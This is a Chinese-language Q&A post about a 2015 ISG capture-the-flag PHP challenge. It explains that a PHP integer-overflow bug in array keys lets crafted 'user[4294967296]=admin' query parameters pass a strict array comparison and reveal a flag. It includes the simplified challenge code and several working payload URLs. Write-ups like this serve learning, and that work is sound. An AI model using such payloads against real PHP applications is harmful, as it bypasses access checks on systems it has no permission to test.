Rumah > Soal Jawab > teks badan
地址:http://202.120.7.134:8888/html/array.php
参加ISG(信息安全大赛)发现的一道题目。
作为一名PHPer,喵的我真心感觉这代码无解啊。。。
求大神解惑,如何给一个user参数,获取到$flag。。。
Update at 2015/20/22
总算通过"邀请回答"找到大神了~
漏洞在于PHP的数组下标的一个BUG,可以利用【整型溢出】……
可以参照这里:
https://bugs.php.net/bug.php?id=69892
我觉得这种利用BUG出题的,简直是……
比赛时间已过,果断自己写了下代码:
<?php
//这里简化一下题目,直接把time定死
$flag = 'ISG{'.time().'}';
$time = '1445502008';//2015/10/22 16:20:8
if(empty($_GET['user']))die(show_source(__FILE__));
$user = array('admin', $time );
if($_GET['user'] === $user && $_GET['user'][0] != 'admin'){echo $flag;}
测试效果:
测试地址:
http://moonlordapi.sinaapp.com/1.php
补充,参数可以有好几种方式:
http://moonlordapi.sinaapp.com/1.php?user[4294967296]=admin&user[4294967297]=1445502008
http://moonlordapi.sinaapp.com/1.php?user[4294967296]=admin&user[]=1445502008
http://moonlordapi.sinaapp.com/1.php?user[4294967296]=admin&user[1]=1445502008
就此愉快地结题了。